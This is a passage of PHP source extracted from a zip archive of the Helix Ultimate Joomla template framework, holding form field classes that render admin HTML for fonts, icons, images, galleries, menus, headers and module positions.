		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_DECORATION') . '</label>';
		
		$html .= '<div class="hu-switcher hu-switcher-inline hu-switcher-style-tab hu-switcher-style-tab-sm">';
		$html .= '<div class="hu-action-group">';
		$html .= '<span data-value="none" class="hu-switcher-action ' . ($decoration === 'none' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-times" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="underline" class="hu-switcher-action ' . ($decoration === 'underline' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-underline" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="line-through" class="hu-switcher-action ' . ($decoration === 'strikethrough' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-strikethrough" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="overline" class="hu-switcher-action ' . ($decoration === 'overline' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-overline" aria-hidden="true">O</span>';
		$html .= '</span>';
		$html .= '</div>';
		$html .= '</div>';

		$html .= '<input type="hidden" class="hu-text-decoration" value="' . $decoration . '" />';
		$html .= '</div>';

		return $html;
	}

	private function renderFontAlignment($value)
	{
		$alignment = !empty($value->textAlign) ? $value->textAlign : '';

		$html = '';
		$html .= '<div class="hu-font-alignment">';
		$html .= '<label class="hu-mb-2">' . Text::_('HELIX_ULTIMATE_FONT_ALIGNMENT') . '</label>';
		$html .= '<div class="hu-switcher hu-switcher-inline hu-switcher-style-tab hu-switcher-style-tab-sm">';

		$html .= '<div class="hu-action-group">';
		$html .= '<span data-value="left" class="hu-switcher-action ' . ($alignment === 'left' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-left" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="center" class="hu-switcher-action ' . ($alignment === 'center' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-center" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="right" class="hu-switcher-action ' . ($alignment === 'right' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-right" aria-hidden="true"></span>';
		$html .= '</span>';

		$html .= '<span data-value="justify" class="hu-switcher-action ' . ($alignment === 'justify' ? 'active' : '') . '" role="button">';
		$html .= '<span class="fas fa-align-justify" aria-hidden="true"></span>';
		$html .= '</span>';
		$html .= '</div>';

		$html .= '</div>';
		$html .= '<input type="hidden" class="hu-text-align" value="' . $alignment . '" />';
		$html .= '</div>';

		return $html;
	}

}
PK!�WNcWW&helixultimate/src/fields/helixicon.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;

defined('_JEXEC') or die();

/**
 * Form field for Helix icons.
 *
 * @since	1.0.0
 */
class JFormFieldHelixicon extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixicon';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$fontawesome = new FontawesomeIcons;
		$icons = $fontawesome->getIcons();

		$arr = array();
		$arr[] = HTMLHelper::_('select.option', '', '');

		foreach ($icons as $value)
		{
			$arr[] = HTMLHelper::_('select.option', $value, preg_replace('@^fa[sbr]\s+fa-@', '', $value));
		}

		return HTMLHelper::_('select.genericlist', $arr, $this->name, null, 'value', 'text', $this->value);
	}
}
PK!�xlX::'helixultimate/src/fields/helixmedia.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;

/**
 * Form field for Helix media
 *
 * @since	 1.0.0
 */
class JFormFieldHelixmedia extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixmedia';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$output = '<div class="hu-image-holder">';

		if (!empty($this->value))
		{
			$output .= '<img src="' . Uri::root() . $this->value . '" alt="">';
		}

		$output .= '</div>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '">';
		$output .= '<a href="#" class="hu-media-picker hu-btn hu-btn-primary hu-mr-2" data-id="' . $this->id . '"><span class="fas fa-image" aria-hidden="true"></span> Select</a>';
		$output .= '<a href="#" class="hu-media-clear hu-btn hu-btn-secondary' . (empty($this->value) ? ' hide' : '') . '"><span class="fas fa-times" aria-hidden="true"></span> Clear</a>';

		return $output;
	}
}

PK!'{P���)helixultimate/src/fields/helixgallery.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Form field for Helix gallery.
 *
 * @since	1.0.0
 */
class JFormFieldHelixgallery extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixgallery';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$doc = Factory::getDocument();

		HTMLHelper::_('jquery.framework');
		$helix_plg_url = Uri::root(true) . '/plugins/system/helixultimate';
		$doc->addScript($helix_plg_url . '/assets/js/admin/jquery-ui.min.js');

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';

		$values = json_decode($this->value);

		if (!empty($values))
		{
			$images = $this->element['name'] . '_images';
			$values = $values->$images;
		}
		else
		{
			$values = array();
		}

		$output  = '<div class="hu-gallery-field">';
		$output .= '<ul class="hu-gallery-items clearfix">';

		if (is_array($values) && !empty($values))
		{
			foreach ($values as $key => $value)
			{
				$data_src = $value;

				$src = Uri::root(true) . '/' . $value;

				$basename = basename($src);

				$thumbnail = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
				$small_size = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);

				if (file_exists($thumbnail))
				{
					$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
				}
				elseif (file_exists($small_size))
				{
					$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);
				}

				$output .= '<li class="hu-gallery-item" data-src="' . $data_src . '"><a href="#" class="btn btn-mini btn-danger btn-hu-remove-gallery-image"><span class="fas fa-times" aria-hidden="true"></span></a><img src="' . $src . '" alt=""></li>';
			}
		}

		$output .= '</ul>';

		$output .= '<input type="file" id="hu-gallery-item-upload" accept="image/*" multiple="multiple" style="display:none;">';
		$output .= '<a class="btn btn-default btn-secondary btn-hu-gallery-item-upload" href="#"><i class="fas fa-plus" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_UPLOAD_IMAGES') . '</a>';

		$output .= '<input type="hidden" name="' . $this->name . '" data-name="' . $this->element['name'] . '_images" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
				. '"  class="form-field-hu-gallery">';
		$output .= '</div>';

		return $output;
	}
}
PK!�ŷaM	M	'helixultimate/src/fields/heliximage.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\HTML\HTMLHelper;

/**
 * Form field for Helix image.
 *
 * @since 	1.0.0
 */
class JFormFieldHeliximage extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Heliximage';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$doc = Factory::getDocument();

		HTMLHelper::_('jquery.framework');

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';

		$class = ' hu-image-field-empty';

		if ($this->value)
		{
			$class = ' hu-image-field-has-image';
		}

		$output  = '<div class="hu-image-field' . $class . ' clearfix">';
		$output .= '<div class="hu-image-upload-wrapper">';

		if ($this->value)
		{
			$data_src = $this->value;
			$src = Uri::root(true) . '/' . $data_src;

			$basename = basename($data_src);
			$thumbnail = JPATH_ROOT . '/' . dirname($data_src) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);

			if (file_exists($thumbnail))
			{
				$src = Uri::root(true) . '/' . dirname($data_src) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
			}

			$output .= '<img src="' . $src . '" data-src="' . $data_src . '" alt="">';
		}

		$output .= '</div>';

		$output .= '<input type="file" class="hu-image-upload" accept="image/*" style="display:none;">';
		$output .= '<a class="btn btn-primary btn-hu-image-upload" href="#"><i class="fas fa-plus" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_UPLOAD_IMAGE') . '</a>';
		$output .= '<a class="btn btn-danger btn-hu-image-remove" href="#"><i class="fas fa-minus-circle" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_REMOVE_IMAGE') . '</a>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
				. '"  class="form-field-hu-image">';
		$output .= '</div>';

		return $output;
	}
}
PK!i�?P__.helixultimate/src/fields/helixexportimport.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;

/**
 * Form field for helix import
 *
 * @since	1.0.0
 */
class JFormFieldHelixexportimport extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixexportimport';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$input = Factory::getApplication()->input;
		$template_id = $input->get('id', 0, 'INT');

		$export_url = 'index.php?option=com_ajax&helix=ultimate&task=export&id=' . $template_id;

		$output  = '<div class="hu-importer-wrapper">';
		$output .= '<a class="hu-btn hu-btn-primary" id="btn-hu-export-settings" rel="noopener noreferrer" target="_blank" href="' . $export_url . '"><span class="fas fa-download" aria-hidden="true"></span> ' . Text::_("HELIX_ULTIMATE_SETTINGS_EXPORT") . '</a>';
		$output .= '<input type="file" id="helix-import-file" accept="application/JSON" style="display: none;"/>';
		$output .= '<a id="btn-hu-import-settings" class="hu-btn hu-btn-primary" rel="noopener noreferrer" data-template_id="' . $template_id . '" target="_blank" href="#"><span class="fas fa-upload" aria-hidden="true"></span> ' . Text::_("HELIX_ULTIMATE_SETTINGS_IMPORT") . '</a>';
		$output .= '</div>';

		return $output;
	}
}
PK!�,DVV)helixultimate/src/fields/helixdevices.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Form field for helixButton
 *
 * @since	2.0.0
 */
class JFormFieldHelixDevices extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = 'HelixDevices';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	protected function getInput()
	{
		$default 	= isset($this->element['default']) ? $this->element['default'] : 'lg';
		$value 		= empty($this->value) ? $default : $this->value;

		$output = '<div class="helix-field">';
		$output .= '	<div class="helix-devices">';
		$output .= '		<button class="device-btn ' . ($value === 'xs' ? 'active' : '') . '" data-device="xs" title="Mobile">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 11 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M6.58001 15.2C6.58001 15.54 6.32001 15.8 5.98001 15.8H4.43999C4.09999 15.8 3.83999 15.54 3.83999 15.2C3.83999 14.86 4.09999 14.6 4.43999 14.6H5.98001C6.30001 14.6 6.58001 14.86 6.58001 15.2ZM10.4 16.88C10.4 17.72 9.72001 18.4 8.88001 18.4H1.52C0.679995 18.4 0 17.72 0 16.88V1.52002C0 0.68002 0.679995 0 1.52 0H8.88001C9.72001 0 10.4 0.68002 10.4 1.52002V16.88ZM1.6 1.6V12.2H8.8V1.6H1.6ZM8.8 16.8V13.4H1.6V16.8H8.8Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '		<button class="device-btn ' . ($value === 'sm' ? 'active' : '') . '" data-device="sm" title="Tablet">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 16 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M9.31998 15.4C9.31998 15.74 9.05998 16 8.71998 16H7.67999C7.33999 16 7.07999 15.74 7.07999 15.4C7.07999 15.06 7.33999 14.8 7.67999 14.8H8.71998C9.05998 14.8 9.31998 15.06 9.31998 15.4ZM15.6 16.88C15.6 17.72 14.92 18.4 14.08 18.4H2.31998C1.47998 18.4 0.799988 17.72 0.799988 16.88V1.52002C0.799988 0.68002 1.47998 0 2.31998 0H14.08C14.92 0 15.6 0.68002 15.6 1.52002V16.88ZM2.39999 1.6V12.6H14V1.6H2.39999ZM14 16.8V13.8H2.39999V16.8H14Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '		<button class="device-btn ' . ($value === 'md' ? 'active' : '') . '" data-device="md" title="Desktop">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 22 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M19.477 0.200012H1.7539C0.784671 0.200012 6.10352e-05 0.98465 6.10352e-05 1.95388V12.1769C6.10352e-05 13.1461 0.784671 14.0462 1.7539 14.0462H7.61545V14.9923L5.8616 16.4C5.5616 16.6538 5.42314 17.1385 5.53852 17.5077C5.67698 17.8769 6.02315 18.2 6.41546 18.2H14.7231C15.1155 18.2 15.4847 17.8769 15.6231 17.5077C15.7616 17.1385 15.6462 16.6769 15.3462 16.4231L13.6154 14.9923V14.0462H19.477C20.4462 14.0462 21.2308 13.1461 21.2308 12.1769V1.95388C21.2308 0.98465 20.4462 0.200012 19.477 0.200012ZM12.277 16.0769L12.8308 16.5846H8.30775L8.90775 16.0538C9.09236 15.8923 9.23083 15.6154 9.23083 15.3615V14.0231H12.0001V15.3615C12.0001 15.6154 12.0924 15.9154 12.277 16.0769ZM19.3847 12.2H1.84621V2.04617H19.3847V12.2Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '	</div>';

		$output .= '<input type="hidden" data-type="hu-devices" name="' . $this->name . '" id="' . $this->id . '" value="' . $value . '" />';

		// End of helix field div.
		$output .= '</div>';

		return $output;
	}

	/**
	 * Override the getLabel function.
	 *
	 * @return	boolean
	 * @since	2.0.0
	 */
	protected function getLabel()
	{
		return false;
	}
}
PK! B&#*helixultimate/src/fields/helixmegamenu.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;


/**
 * Form field for Helix mega menu
 *
 * @since	1.0.0
 */
class JFormFieldHelixmegamenu extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = "Helixmegamenu";

	/**
	 * Row layouts.
	 *
	 * @var		array	Layouts.
	 * @since	1.0.0
	 */
	private $row_layouts = array('12', '6+6', '4+4+4', '3+3+3+3', '2+2+2+2+2+2', '5+7', '4+8','3+9','2+10');

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$html  = '<div>';
		$html .= $this->getMegaSettings();
		$html .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '">';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Get mega menu settings.
	 *
	 * @return	string	Megamenu settings HTML string.
	 * @since	1.0.0
	 */
	public function getMegaSettings()
	{
		$mega_menu_path = JPATH_SITE . '/plugins/system/helixultimate/fields/';
		$menu_data = json_decode($this->value);
		$menu_item = $this->form->getData()->toObject();

		ob_start();
		include_once dirname(__DIR__) . '/Core/Lib/helixmenuhelper.php';
		$html = ob_get_clean();

		return $html;
	}

	/**
	 * Get module name ID.
	 *
	 * @param	mixed	$id		Module ID.
	 *
	 * @return 	mixed	Module list or module object
	 * @since 	1.0.0
	 */
	private function getModuleNameById($id = 'all')
	{
		$db = Factory::getDBO();
		$query = $db->getQuery(true);

		$query->select($db->quoteName(array('id','title')));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('published') . ' = 1');
		$query->where($db->quoteName('client_id') . ' = 0');

		if ($id !== 'all')
		{
			$query->where($db->quoteName('id') . ' = ' . (int) $id);
		}

		$db->setQuery($query);

		if ($id !== 'all')
		{
			return $db->loadObject();
		}

		return $db->loadObjectList();
	}

	/**
	 * Get unique menu items.
	 *
	 * @param	integer		$current_menu_id	The running menu item id.
	 * @param	array		$layout				Layouts.
	 *
	 * @return 	array
	 * @since	1.0.0
	 */
	private function uniqueMenuItems($current_menu_id, $layout = array())
	{
		$saved_menu_items = array();

		$items = $this->menuItems();
		$children = isset($items[$current_menu_id]) ? $items[$current_menu_id] : array();

		if (!$layout)
		{
			return $children;
		}

		foreach ($layout as $key => $row)
		{
			foreach ($row->attr as $col_key => $col)
			{
				if ($col->items)
				{
					foreach ($col->items as $item)
					{
						if ($item->type === 'menu_item')
						{
							unset($children[$item->item_id]);
						}
					}
				}
			}
		}

		return $children;
	}

	/**
	 * Menu items.
	 *
	 * @return	array
	 * @since	1.0.0
	 */
	private function menuItems()
	{
		$menus = new \JMenuSite;
		$menus = $menus->getMenu();
		$new = array();

		foreach ($menus as $item)
		{
			$new[$item->parent_id][$item->id] = $item->id;
		}

		return $new;
	}

	/**
	 * Select option field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	array	$lsit			Option list.
	 * @param	string	$default		Default value.
	 * @param	string	$display_class	Select class.
	 *
	 * @return	string	Select option HTML string.
	 * @since	1.0.0
	 */
	private function selectFieldHTML($name, $label, $list, $default, $display_class = '')
	{
		$view_class = '';

		if ($name === 'alignment')
		{
			$view_class = 'hu-megamenu-field-control ' . $display_class;
		}
		elseif ($name === 'dropdown')
		{
			$view_class = 'hu-dropdown-field-control ' . $display_class;
		}

		$html  = '';
		$html .= '<div class="' . $view_class . '">';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<select id="hu-megamenu-' . $name . '">';

		if ($name === 'fa-icon')
		{
			$html .= '<option value="">' . Text::_('HELIX_ULTIMATE_GLOBAL_SELECT') . '</option>';

			foreach ($list as $each)
			{
				$html .= '<option value="' . $each . '"' . (($default === $each) ? 'selected' : '') . '>' . str_replace('fa-', '', $each) . '</option>';
			}
		}
		else
		{
			foreach ($list as $key => $each)
			{
				$html .= '<option value="' . $key . '"' . (($default === $key) ? 'selected' : '') . '>' . $each . '</option>';
			}
		}

		$html .= '</select>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Color field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	string	$placeholder	Field placeholder.
	 * @param	string	$value			Default value.
	 *
	 * @return	string	Color field HTML string.
	 * @since	1.0.0
	 */
	private function colorFieldHTML($name, $label, $placeholder, $value)
	{
		$html  = '';
		$html .= '<div>';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="text" class="minicolors" id="hu-menu-badge-' . $name . '" placeholder="' . $placeholder . '" value="' . $value . '" />';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Text field HTML.
	 *
	 * @param	string	$name			Field name.
	 * @param	string	$label			Field label.
	 * @param	string	$placeholder	Field placeholder.
	 * @param	string	$value			Default value.
	 * @param	string	$type			Field type.
	 * @param	string	$display_class	Field class name.
	 *
	 * @return	string	Text field HTML
	 * @since	1.0.0
	 */
	private function textFieldHTML($name, $label, $placeholder, $value, $type = 'text', $display_class = '')
	{
		if ($type === 'number')
		{
			$display_class = 'hu-megamenu-field-control' . $display_class;
		}

		$html  = '';
		$html .= '<div class="' . $display_class . '">';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="' . $type . '" id="hu-megamenu-' . $name . '" placeholder="' . $placeholder . '" value="' . $value . '" />';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Switch Field HTML.
	 *
	 * @param	string	$name	Field name.
	 * @param	string	$label	Field label.
	 * @param	string	$value	Defaulf value.
	 *
	 * @return 	string	Switch field HTML string.
	 * @since	1.0.0
	 */
	private function switchFieldHTML($name, $label, $value)
	{
		$html  = '';
		$html .= '<div>';
		$html .= '<span class="hu-megamenu-label">' . $label . '</span>';
		$html .= '<input type="checkbox" class="hu-checkbox" id="hu-megamenu-' . $name . '" ' . (!empty($value) ? 'checked' : '') . '/>';
		$html .= '</div>';

		return $html;
	}
}
PK!.P��P	P	+helixultimate/src/fields/helixoffcanvas.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\Folder;

defined('_JEXEC') or die();

/**
 * Form field for Helix headers.
 *
 * @since	1.0.0
 */
class JFormFieldHelixOffcanvas extends FormField
{
    /**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'HelixOffcanvas';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$input  = Factory::getApplication()->input;
		$id = $input->get('id', 0, 'INT');
		$template = Helper::loadTemplateData();
		$templateName = $template->template;

		$offCanvasDir = JPATH_ROOT . '/templates/' . $templateName . '/offcanvas';
		$thumb_url = Uri::root() . 'templates/' . $templateName . '/offcanvas';

		$html = '';

		if (Folder::exists($offCanvasDir))
		{
			$offCanvases = Folder::folders($offCanvasDir);

			if (!empty($offCanvases))
			{
				$html = '<div class="hu-predefined-offcanvas">';
				$html .= '<ul class="hu-offcanvas-list clearfix" data-name="' . $this->name . '">';

				foreach ($offCanvases as $key => $canvas)
				{
					$canvasName = preg_replace("@(^\d+-)(.+)@", "$2", $canvas);
					$canvasName = preg_split("@(?=[A-Z])@", $canvasName);
					$canvasName = implode(' ', $canvasName);

					$html .= '<li class="hu-offcanvas-item' . (($this->value === $canvas) ? ' active' : '') . '" data-style="' . $canvas . '">';

					if (file_exists($offCanvasDir . '/' . $canvas . '/thumb.svg'))
					{
						$html .= '<span class="img-wrap"><img src="' . $thumb_url . '/' . $canvas . '/thumb.svg" alt="' . $canvas . '"></span>';
					}
					else
					{
						$html .= '<span class="img-wrap"><img src="' . $thumb_url . '/' . $canvas . '/thumb.jpg" alt="' . $canvas . '"></span>';
					}

					$html .= '<span class="hu-predefined-offcanvas-title">' . $canvasName . '</span>';
					$html .= '</li>';
				}

				$html .= '<input type="hidden" name="' . $this->name . '" value=\'' . $this->value . '\' id="' . $this->id . '">';
				$html .= '</div>';
			}
		}

		return $html;
	}
}PK!�Ԁ

)helixultimate/src/fields/helixheaders.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Language\Text;

defined('_JEXEC') or die();

/**
 * Form field for Helix headers.
 *
 * @since	1.0.0
 */
class JFormFieldHelixheaders extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixheaders';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$input  = Factory::getApplication()->input;
		$id = $input->get('id', 0, 'INT');
		$template = $this->getTemplateName($id);

		$headers_src = JPATH_ROOT . '/templates/' . $template . '/headers';
		$thumb_url = Uri::root() . 'templates/' . $template . '/headers';

		$html = '';
		$fallbackRegex = "@^style-(\d+)@i";

		if (Folder::exists($headers_src))
		{
			$headers = Folder::folders($headers_src);

			if (!empty($headers))
			{
				$html = '<div class="hu-predefined-headers">';
				$html .= '<ul class="hu-header-list clearfix" data-name="' . $this->name . '">';

				foreach ($headers as $header)
				{
					$headerName = preg_replace("@(^\d+-)(.+)@", "$2", $header);
					$headerName = preg_split("@(?=[A-Z])@", $headerName);
					$headerName = implode(' ', $headerName);

					if (preg_match($fallbackRegex, $header, $matches))
					{
						$styleNumber = isset($matches[1]) ? (int) $matches[1] : 1;
						$headerName = $styleNumber <= 2
							? Text::_('HELIX_ULTIMATE_HEADER_STYLE_' . $styleNumber)
							: ucfirst(str_replace("-", ' ', $header));
					}
					else
					{
						$_headerName = \strtoupper(\implode('_', \explode(' ', $headerName)));
						$headerName = Text::_('HELIX_ULTIMATE_HEADER_STYLE' . $_headerName);
					}

					$html .= '<li class="hu-header-item' . (($this->value === $header) ? ' active' : '') . '" data-style="' . $header . '">';

					if (file_exists($headers_src . '/' . $header . '/thumb.svg'))
					{
						$html .= '<span class="img-wrap"><img src="' . $thumb_url . '/' . $header . '/thumb.svg" alt="' . $header . '"></span>';
					}
					else
					{
						$html .= '<span class="img-wrap"><img src="' . $thumb_url . '/' . $header . '/thumb.jpg" alt="' . $header . '"></span>';
					}

					$html .= '<span class="hu-predefined-headers-title">' . $headerName . '</span>';
					$html .= '</li>';
				}

				$html .= '<input type="hidden" name="' . $this->name . '" value=\'' . $this->value . '\' id="' . $this->id . '">';
				$html .= '</div>';
			}
		}

		return $html;
	}

	/**
	 * Get template name.
	 *
	 * @param	integer		$id		The template ID.
	 *
	 * @return	object
	 * @since	1.0.0
	 */
	private function getTemplateName($id = 0)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('*');
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('id') . ' = ' . (int) $id);

		$db->setQuery($query);
		$result = $db->loadObject();

		if (!empty($result))
		{
			return $result->template;
		}

		return;
	}
}
PK!B����+helixultimate/src/fields/helixpositions.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Platform\Helper;

/**
 * Form field for Helix positions
 *
 * @since 	1.0.0
 */
class JFormFieldHelixpositions extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixpositions';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$html = array();
		$attr = '';
		$input  = Factory::getApplication()->input;
		$style_id = $input->get('id', 0, 'INT');
		$style = Helper::getTemplateStyle($style_id);

		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('position'));
		$query->from($db->quoteName('#__modules'));
